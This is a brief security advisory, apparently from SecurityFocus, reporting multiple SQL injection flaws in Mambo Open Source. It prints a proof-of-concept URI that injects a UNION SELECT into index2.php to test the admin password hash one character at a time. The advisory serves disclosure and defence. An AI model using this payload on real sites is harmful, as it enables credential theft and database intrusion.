Mambo Open Source Multiple SQL Injection Vulnerabilities

These issues can be exploited with a web client.

The following proof of concept URI is available:
http://www.example.com/mambo/index2.php?option=com_content&task=-99'%20UNION%20SELECT%201%20FROM%20mos_users%20WHERE%20username='admin'%20AND%20MID(password,1,1)='2'/*&id=24&Itemid=0


 

Privacy Statement
Copyright 2010, SecurityFocus